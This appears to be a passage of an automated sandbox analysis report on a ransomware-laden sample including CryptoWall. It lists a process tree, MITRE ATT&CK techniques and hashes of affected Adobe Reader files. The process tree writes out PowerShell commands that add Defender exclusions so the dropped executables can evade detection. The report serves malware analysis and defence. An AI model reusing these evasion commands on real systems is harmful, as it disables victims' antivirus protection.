                                                                  • Drops startup file
                                                                  • Executes dropped EXE
                                                                  PID:284
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:6260
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    PID:7428
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    PID:8520
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                    4⤵
                                                                      PID:7068
                                                                  • C:\Users\Admin\AppData\Local\Temp\5.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                                                    3⤵
                                                                    • Checks computer location settings
                                                                    • Drops startup file
                                                                    • Executes dropped EXE
                                                                    PID:2700
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:7268
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
                                                                      4⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      PID:9476
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                      4⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      PID:7512
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                      4⤵
                                                                        PID:8932
                                                                    • C:\Users\Admin\AppData\Local\Temp\4.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                                                      3⤵
                                                                      • Checks computer location settings
                                                                      • Drops startup file
                                                                      • Executes dropped EXE
                                                                      PID:3176
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
                                                                        4⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:1628
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
                                                                        4⤵
                                                                          PID:7508
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                          4⤵
                                                                            PID:9600
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:9268
                                                                        • C:\Users\Admin\AppData\Local\Temp\3.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\3.exe"
                                                                          3⤵
                                                                          • Checks computer location settings
                                                                          • Drops startup file
                                                                          • Executes dropped EXE
                                                                          PID:4528
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:5492
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
                                                                            4⤵
                                                                              PID:7704
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                              4⤵
                                                                                PID:1280
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                                4⤵
                                                                                  PID:8132
                                                                              • C:\Users\Admin\AppData\Local\Temp\2.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                                                                3⤵
                                                                                • Checks computer location settings
                                                                                • Drops startup file
                                                                                • Executes dropped EXE
                                                                                PID:3600
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
                                                                                  4⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:7892
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
                                                                                  4⤵
                                                                                    PID:9616
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                                    4⤵
                                                                                      PID:8048
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                                      4⤵
                                                                                        PID:9768
                                                                                    • C:\Users\Admin\AppData\Local\Temp\1.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\1.exe"
                                                                                      3⤵
                                                                                      • Checks computer location settings
                                                                                      • Drops startup file
                                                                                      • Executes dropped EXE
                                                                                      PID:1636
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        PID:7828
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:6708
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
                                                                                          4⤵
                                                                                            PID:8412
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                                            4⤵
                                                                                              PID:8
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                                              4⤵
                                                                                                PID:6556
                                                                                          • C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4248
                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                              "C:\Windows\syswow64\explorer.exe"
                                                                                              3⤵
                                                                                              • Drops startup file
                                                                                              • Adds Run key to start application
                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1204
                                                                                              • C:\Windows\SysWOW64\svchost.exe
                                                                                                -k netsvcs
                                                                                                4⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:2564
                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                          C:\Windows\system32\vssvc.exe
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4568
                                                                                        • C:\ProgramData\svcsys
                                                                                          C:\ProgramData\svcsys
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:7296
                                                                                        • C:\ProgramData\svcsys
                                                                                          C:\ProgramData\svcsys
                                                                                          1⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:8844

                                                                                        Network

                                                                                              MITRE ATT&CK Enterprise v15

                                                                                              Reconnaissance

                                                                                              Resource Development

                                                                                              Initial Access

                                                                                              Execution

                                                                                              Command and Scripting Interpreter

                                                                                              1
                                                                                              T1059

                                                                                              PowerShell

                                                                                              1
                                                                                              T1059.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              System Services

                                                                                              1
                                                                                              T1569

                                                                                              Service Execution

                                                                                              1
                                                                                              T1569.002

                                                                                              Windows Management Instrumentation

                                                                                              1
                                                                                              T1047

                                                                                              Persistence

                                                                                              Boot or Logon Autostart Execution

                                                                                              1
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Create or Modify System Process

                                                                                              2
                                                                                              T1543

                                                                                              Windows Service

                                                                                              2
                                                                                              T1543.003

                                                                                              Pre-OS Boot

                                                                                              1
                                                                                              T1542

                                                                                              Bootkit

                                                                                              1
                                                                                              T1542.003

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Privilege Escalation

                                                                                              Boot or Logon Autostart Execution

                                                                                              1
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Create or Modify System Process

                                                                                              2
                                                                                              T1543

                                                                                              Windows Service

                                                                                              2
                                                                                              T1543.003

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Defense Evasion

                                                                                              Direct Volume Access

                                                                                              1
                                                                                              T1006

                                                                                              Hide Artifacts

                                                                                              1
                                                                                              T1564

                                                                                              Hidden Files and Directories

                                                                                              1
                                                                                              T1564.001

                                                                                              Impair Defenses

                                                                                              3
                                                                                              T1562

                                                                                              Disable or Modify Tools

                                                                                              2
                                                                                              T1562.001

                                                                                              Indicator Removal

                                                                                              2
                                                                                              T1070

                                                                                              File Deletion

                                                                                              2
                                                                                              T1070.004

                                                                                              Modify Registry

                                                                                              5
                                                                                              T1112

                                                                                              Pre-OS Boot

                                                                                              1
                                                                                              T1542

                                                                                              Bootkit

                                                                                              1
                                                                                              T1542.003

                                                                                              Subvert Trust Controls

                                                                                              1
                                                                                              T1553

                                                                                              Install Root Certificate

                                                                                              1
                                                                                              T1553.004

                                                                                              Credential Access

                                                                                              Credentials from Password Stores

                                                                                              2
                                                                                              T1555

                                                                                              Credentials from Web Browsers

                                                                                              1
                                                                                              T1555.003

                                                                                              Windows Credential Manager

                                                                                              1
                                                                                              T1555.004

                                                                                              Unsecured Credentials

                                                                                              2
                                                                                              T1552

                                                                                              Credentials In Files

                                                                                              2
                                                                                              T1552.001

                                                                                              Discovery

                                                                                              Browser Information Discovery

                                                                                              1
                                                                                              T1217

                                                                                              Peripheral Device Discovery

                                                                                              2
                                                                                              T1120

                                                                                              Query Registry

                                                                                              4
                                                                                              T1012

                                                                                              System Information Discovery

                                                                                              4
                                                                                              T1082

                                                                                              System Location Discovery

                                                                                              1
                                                                                              T1614

                                                                                              System Language Discovery

                                                                                              1
                                                                                              T1614.001

                                                                                              Lateral Movement

                                                                                              Collection

                                                                                              Data from Local System

                                                                                              2
                                                                                              T1005

                                                                                              Command and Control

                                                                                              Exfiltration

                                                                                              Impact

                                                                                              Inhibit System Recovery

                                                                                              2
                                                                                              T1490

                                                                                              Service Stop

                                                                                              1
                                                                                              T1489

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              duplicate.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\duplicate.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 494db92a7b29009bd6f55098fbd7a4780a5d8f8350be0fc1f91b744dfb4d9f28
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              aic_file_icons_retina_thumb.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png
                                                                                              • Size 51KB
                                                                                              • SHA256 1f2f706ba47cc6c12692d5263c10d38da6f45cf5e88a594aac9ab78044a85412
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              remove.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\remove.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 1111f02ead047e7b5a91d1ee5bc9aed289c5fe8d222d48a9d5e1f178e492cec3
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_backarrow_default.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_backarrow_default.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 7000147bd5a8040973a3cdf6cee90a9eddaec6d024b8c46101a916fdf9bc7c4f
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_closereview_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_closereview_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 92c438c529f9b9fea0a7d6ea3a4c01eb55c7ea46b30523e716c6eebf4a14f4f1
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_comment_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_comment_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 29a199ed9fd11e310b1342a4a4c60883f8fc81dcf193f7cfddfdc4ba2fd18b58
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_editpdf_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_editpdf_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 e78a22a2b9c5839b0d2b33880c4124ee377fc210c44d9db0616a448cdb99e280
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_export_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_export_18.svg
                                                                                              • Size 8KB
                                                                                              • SHA256 c717f9b704f1bc2893049bf045ec6a9ba5b9640375ed6437a305b95152f885d9
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              s_fillandsign_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_fillandsign_18.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 f49976724dccabbe7a9d958f2a6fa0a6a37215cc338d9ad8cc520b7948b3ed41
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_move_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_move_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 c41b8e33c2ffe2001d86883977bd8c381c712d5df0a3ccec5d12a5fa32d69c6c
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_newfolder-default.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_newfolder-default.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 fb019244e3c1caf16a56a2957a057c3c7a9672a4a9237a6c0892605a16ddfa0d
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_nextarrow_default.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_nextarrow_default.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 a184f62f6b9107a4f8dfd6216bf89ff611002dcfcf23a9b9beb06d4ebc8f1a8b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_organize_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_organize_18.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 07ac1d50e615a81737e8ec72d7917cce3849f9047e77420b6b6bc6a9c226bf28
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_rename_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_rename_18.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 23c31b34b91c720a2e69ff020e33383aaeb8d72cb05751fae13035675e51743a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_sendforsignature_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sendforsignature_18.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 36fc07fc4aa1ebcd60700220ee76240640a881fd9414acf2b112722d4003bca4
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_share_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_share_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 d4f2052ac2f96913149796521fba46b8678096dea81aeea6366ffa0cce6c5faa
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              selection-actions.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png
                                                                                              • Size 2KB
                                                                                              • SHA256 a6a5a653a834b76c41329e50da5f21a28558f10e966f7d561ec8254641382642
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              selection-actions2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png
                                                                                              • Size 4KB
                                                                                              • SHA256 1b8446518e32c5ba3b60c39c65242be77374517195e4fe76cf7a19aca03c42c1
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js
                                                                                              • Size 3KB
                                                                                              • SHA256 86f769b6d27ad1d6391a0998d253bf0f753201d34a64ccff5e84320908a2358b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js
                                                                                              • Size 28KB
                                                                                              • SHA256 b9d832977531d5b1b904c24368df4f7bd4d6d95159cadd58e807127eafecf5a2
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js
                                                                                              • Size 8KB
                                                                                              • SHA256 fed0d29a7dee8510f76fb4b7c62be656d8aa5df3f823acbbcb93570e2674b9f1
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 15f3d8c40e6862a899529d61e0be0ba0e21bb773f6b19d3b6a04d5d58504018a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js
                                                                                              • Size 4KB
                                                                                              • SHA256 907132a2efe4add0d73c0871fab4a9f54b4979d15eb47afc1508446f412af445
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js
                                                                                              • Size 2KB
                                                                                              • SHA256 85fa2f341d74582b532e519a48cb85d4f58c94c572f8bac243ee97b1ec1c4c46
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              convertpdf-selector.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js
                                                                                              • Size 174KB
                                                                                              • SHA256 8660a31b251ed633112f914ba7f42587d2dd13d3f7f8c1bf57266740bf650bc2
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              convertpdf-tool-view.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js
                                                                                              • Size 374KB
                                                                                              • SHA256 b9573172270ce7ed977c539f51537ce19ad86ff9f1448f05162a1397851804ef
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\ui-strings.js
                                                                                              • Size 3KB
                                                                                              • SHA256 fc0d85588f6d6add91954e7f4b7aa1bb0de5584c3dee0523baca48bc8aa96646
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 f4f3c847af5cf3e59e112af33d0ae7cbf80b71504f4cb7708b9d1a1c110c98ef
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
                                                                                              • Size 966B
                                                                                              • SHA256 8527e196f01b93eff0aaab36cd28833382dc5fb659b880ef3937442fe8cf5049
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
                                                                                              • Size 1KB
                                                                                              • SHA256 58b0f5f08718d4f827d4e2a80414c54305a4d7b0479a0cc7ca978651a910a68e
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_hover.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png
                                                                                              • Size 909B
                                                                                              • SHA256 019724968ae6b722475facd4e3f3b3811f2906ed65b06bc7523c357f25e6415b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_hover_2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
                                                                                              • Size 1KB
                                                                                              • SHA256 fa3ce1715de1cfb4cf75ec89102ecfcc546231ba5fcc97e8489d7f47536938c9
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              example_icons.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png
                                                                                              • Size 1KB
                                                                                              • SHA256 0e74d3968e96d62577f7d736dd896231d1acdd57645a2a458a15c85254531c87
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              example_icons2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png
                                                                                              • Size 1KB
                                                                                              • SHA256 d89f4b79bd85ec867ae5e5bde974d0004486c1c8b7fe882a36e9dcd8f57704bf
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
                                                                                              • Size 909B
                                                                                              • SHA256 ffd3899fdf6400f75c6e756d950060b557517d121902038d8c1852d42226cc85
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
                                                                                              • Size 1KB
                                                                                              • SHA256 89fe28322fc2e6b59038a9543dfbccc484b6de87ec1404137c9ec75ebb94d5b1
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_hover.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
                                                                                              • Size 909B
                                                                                              • SHA256 eaa89784a2f3db530116aeb20db57ab63ed108183a3444dd72e4da9968fa805f
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              rhp_world_icon_hover_2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
                                                                                              • Size 1KB
                                                                                              • SHA256 fb138e525390fbfa54ff710fd69fcac1a25588e0671b73b72944d73e4f32dd4a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 eb888667632dbce52619671a7c010350011414325321283895f163e8d69797ea
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 766d4d3021e83ead933c4446d19582ccab450f7f48a9f9b67136059dea765487
